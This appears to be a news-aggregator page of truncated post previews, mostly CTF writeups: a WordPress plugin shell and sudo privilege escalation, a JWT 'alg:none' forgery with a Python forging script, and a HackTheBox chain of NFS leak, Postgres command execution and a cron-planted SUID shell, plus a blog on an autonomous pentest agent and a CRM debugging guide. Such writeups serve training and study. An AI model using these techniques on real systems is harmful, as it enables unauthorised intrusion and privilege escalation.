AI 资讯
BrunnerCTF : WordPressed to Root Writeup
Overview The box ships a mostly-stock WordPress 7.0.0 install on PHP 8.2 / Apache, running on a Debian Trixie base image, packaged as a Docker/Kubernetes challenge deployment. Initial access comes through a deliberately vulnerable plugin ( wp2shell ) that hands over a www-data shell. Privilege escalation is the real puzzle: the box is hardened against the usual container-escape and SUID tricks, and the intended path is a real, recent CVE in sudo itself. Recon The challenge source was distributed as a zip ( boot2root_wordpressed-to-root.zip ) containing the Docker build context: . ├── docker │ ├── entrypoint.sh │ ├── install.php │ └── seed.php ├── docker-compose.yml ├── Dockerfile └── theme └── brunnerne-docs ├── footer.php ├── functions.php ├── header.php ├── index.php └── style.css Dockerfile pins the interesting versions: FROM wordpress:7.0.0-php8.2-apache@sha256:0b6e5bf0ed2518696a34ba3812370743b0ad3e2676882967ff5c712e51425c03 AS wordpress-source FROM debian:trixie-20240408-slim@sha256:70955dce615f114142818e95339f6ae9b461cf424d79d59ca2b04ec725d4dbc8 ... apache2 ca-certificates curl gcc libc6-dev libapache2-mod-php8.2 \ php8.2 php8.2-curl php8.2-gd php8.2-mbstring php8.2-mysql php8.2-xml php8.2-zip sudo Two details stand out immediately: gcc and libc6-dev are installed in the runtime image, not just a build stage. That is a strong hint that compiling a local privilege-escalation PoC on-box is part of the intended path. sudo is installed, which combined with the previous point points straight at a sudo local-root bug rather than a container escape. docker-compose.yml also leaks the DB credentials up front (default WordPress dev creds - not the actual privesc path, but useful context): MARIADB_DATABASE : wordpress MARIADB_USER : wordpress MARIADB_PASSWORD : wordpress MARIADB_ROOT_PASSWORD : rootpassword docker/entrypoint.sh is the key file for understanding the box's behavior at runtime. On first boot it generates a random WordPress admin account and exports the cred
AI 资讯
My AI Agent Captured the Flag. Then the Platform Refused to Accept It.
Today was a good day and a weird day, in that order. The good part: the autonomous pentest agent I've been building — I call it HALO — went from "runs a bunch of tools and hopes" to an actual web-recon → web-attack → flag-capture pipeline that pulled real flags out of a live target. The weird part: it captured flags on VulnBegin, and then, when it came time to actually submit them, they wouldn't take. Not an error. Not a crash. Just… rejected. I want to write down both halves honestly, because the second half is the more interesting engineering lesson, and it's the one I'd have skipped past a few months ago. What actually shipped today A few concrete milestones, roughly in the order they unblocked each other: The arsenal went from 31 tools to 42. I wired in a chunk of web + OSINT tooling — content discovery, subdomain enumeration, template scanning, XSS probing, passive URL collection. The point wasn't "more tools = better." It was to give the agent enough of a web-attack surface that it could go from host to flag without me babysitting each step. I stopped the silent hangs. This one cost me the most time and had the dumbest root cause. A couple of the Go-based scanners would just… hang. No output, no error, they'd ride the timeout all the way to the wall and die with nothing. I'd assumed it was a networking or a binary-compatibility problem and chased that for way too long. It wasn't. The agent runs as an MCP server over stdio — meaning the server's own stdin is the JSON-RPC pipe the whole system talks over. When I spawned a child scanner, it inherited that stdin, tried to read from it, and blocked forever waiting on a pipe that was never going to feed it. One line — stdin=subprocess.DEVNULL on the subprocess call — took one scanner from a 60-second timeout to a 1-second run. That's the whole fix. I'm still a little mad about how long it took to find. A pile of invocation fixes. Small, unglamorous, necessary: a resolver that reads targets from stdin instead of a fl
AI 资讯
Contact Form 7 Submitted Successfully, But Systeme CRM Never Received the Lead: A Practical API Debugging Guide
Your Contact Form 7 form can work perfectly from a user's perspective and still fail to deliver a lead to your CRM. The visitor fills out the form. The browser shows a success message. The WordPress form appears to have submitted correctly. But when you open Systeme CRM, the contact is nowhere to be found. This is one of the most confusing problems in form-to-CRM integrations because a successful form submission does not necessarily mean a successful API request. The complete workflow has multiple stages: Visitor ↓ Contact Form 7 ↓ WordPress ↓ API Request ↓ Systeme CRM ↓ Contact Record ↓ CRM Automation A failure at any stage can break the workflow. The key to debugging the integration is to stop treating the form submission as a single event and start checking each stage separately. First, separate the two different types of success There are two different questions: Did Contact Form 7 submit the form? This is a WordPress-side question. Did Systeme CRM accept and process the API request? This is an API and CRM-side question. These are not the same thing. A form can successfully collect: Name: John Doe Email: john@example.com Company: Example Inc. while the API request fails because: the endpoint is incorrect authentication is missing the request method is wrong the JSON payload is invalid the CRM expects different field names a required field is missing The first debugging step is therefore to identify exactly where the data flow stops. Step 1: Confirm that Contact Form 7 is collecting the expected data Start at the beginning. Look at the form fields: [text* your-name] [email* your-email] [tel your-phone] [text company] [textarea your-message] The important values are the actual field names: your-name your-email your-phone company your-message A common mistake is to assume that the visible label is the field name. For example: Visible label: Full Name Field name: your-name The integration needs the submitted field value associated with the actual field name. Before
AI 资讯
FAM CTF : The Vault Door Writeup
Summary NexaVault is a mock internal dashboard app that gates an "Admin Vault" panel behind a role claim in a JWT. The app issues a user-role token on login, stored in the nx_access cookie, and trusts the claims inside it without properly re-verifying the signature on every request. Recon Logged in as a normal user ( strawhat ) and captured the request to /famctf/dashboard : Cookie: nx_access=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJzdHJhd2hhdCIsInJvbGUiOiJ1c2VyIn0.x5PRC4_NFw5cGM02QklUN5yq6rtGOMP_E8bKGxgIbME Decoding the JWT: Header { "alg" : "HS256" , "typ" : "JWT" } Payload { "sub" : "strawhat" , "role" : "user" } The dashboard UI showed an "Admin Vault" card locked behind Admin only , confirming role was the authorization check. Attempt 1 - Naive tampering (failed) Editing the payload directly to "role":"admin" while keeping the original HS256 signature predictably failed - the signature no longer matched the modified payload, and the server redirected to the login page. This confirmed the server does verify the signature against the payload, but didn't yet confirm how strictly it verifies the algorithm itself. Attempt 2 - alg:none bypass (success) Many JWT libraries historically honor the alg field declared in the token header to decide how to verify, including a none algorithm meant for unsigned/pre-verified tokens. If the server-side verification doesn't explicitly reject none , an attacker can forge any payload with zero knowledge of the signing secret. Forged header: { "alg" : "none" , "typ" : "JWT" } Forged payload: { "sub" : "strawhat" , "role" : "admin" } Forging Script import base64 , json def b64url ( data : bytes ) -> str : return base64 . urlsafe_b64encode ( data ). rstrip ( b ' = ' ). decode () header = { " alg " : " none " , " typ " : " JWT " } payload = { " sub " : " strawhat " , " role " : " admin " } h = b64url ( json . dumps ( header , separators = ( ' , ' , ' : ' )). encode ()) p = b64url ( json . dumps ( payload , separators = ( ' , ' ,
AI 资讯
HackTheBox: Sloink Writeup
Summary NFS shares exposed the target's home directory and PostgreSQL backups. The user's psql history contained an MD5 hash that cracked to service . SSH with that account drops you immediately (shell is /bin/false ), but port forwarding still works - so we tunneled straight to the Postgres Unix socket and connected as the superuser. From there, COPY FROM PROGRAM gave us RCE as postgres. We injected our SSH key and got a shell. For root, a cron job running as root copies the entire Postgres data directory - which postgres owns. We dropped a SUID bash there, waited for the cron to fire, and root handed us a root shell. Chain: NFS leak → MD5 crack → SSH tunnel → Postgres RCE → SSH key injection → postgres shell → SUID bash via cron → root Recon nmap -A -Pn 10.129.234.160 -oA nmap PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 111/tcp open rpcbind 2-4 (RPC #100000) 2049/tcp open nfs_acl 3 (RPC #100227) NFS on 2049 is immediately interesting. We check what's exported: showmount -e 10.129.234.160 Export list for 10.129.234.160: /var/backups * /home * Both shares open to everyone ( * ). We mount them and enumerate: mkdir -p /mnt/home /mnt/backups mount -t nfs 10.129.234.160:/home /mnt/home mount -t nfs 10.129.234.160:/var/backups /mnt/backups find /mnt/backups -maxdepth 3 -ls # → several archive-*.zip files (~4.5MB each, created every minute) find /mnt/home -maxdepth 3 -ls # → /mnt/home/service (UID 1337, permission denied) We can't read the service home directory yet because our local UID doesn't match. We use NetExec to enumerate properly - it also detects a root escape vulnerability on the NFS server: nxc nfs 10.129.234.160 --enum-shares NFS 10.129.234.160 [*] Supported NFS versions: (3, 4) (root escape:True) NFS 10.129.234.160 [+] /var/backups NFS 10.129.234.160 0 r-- 4.5MB /var/backups/archive-2026-06-28T0446.zip NFS 10.129.234.160 [+] /home NFS 10.129.234.160 1337 r-- 90B /home/service/.bash_history NFS 10.129.234.160 1337 r-- 326B /hom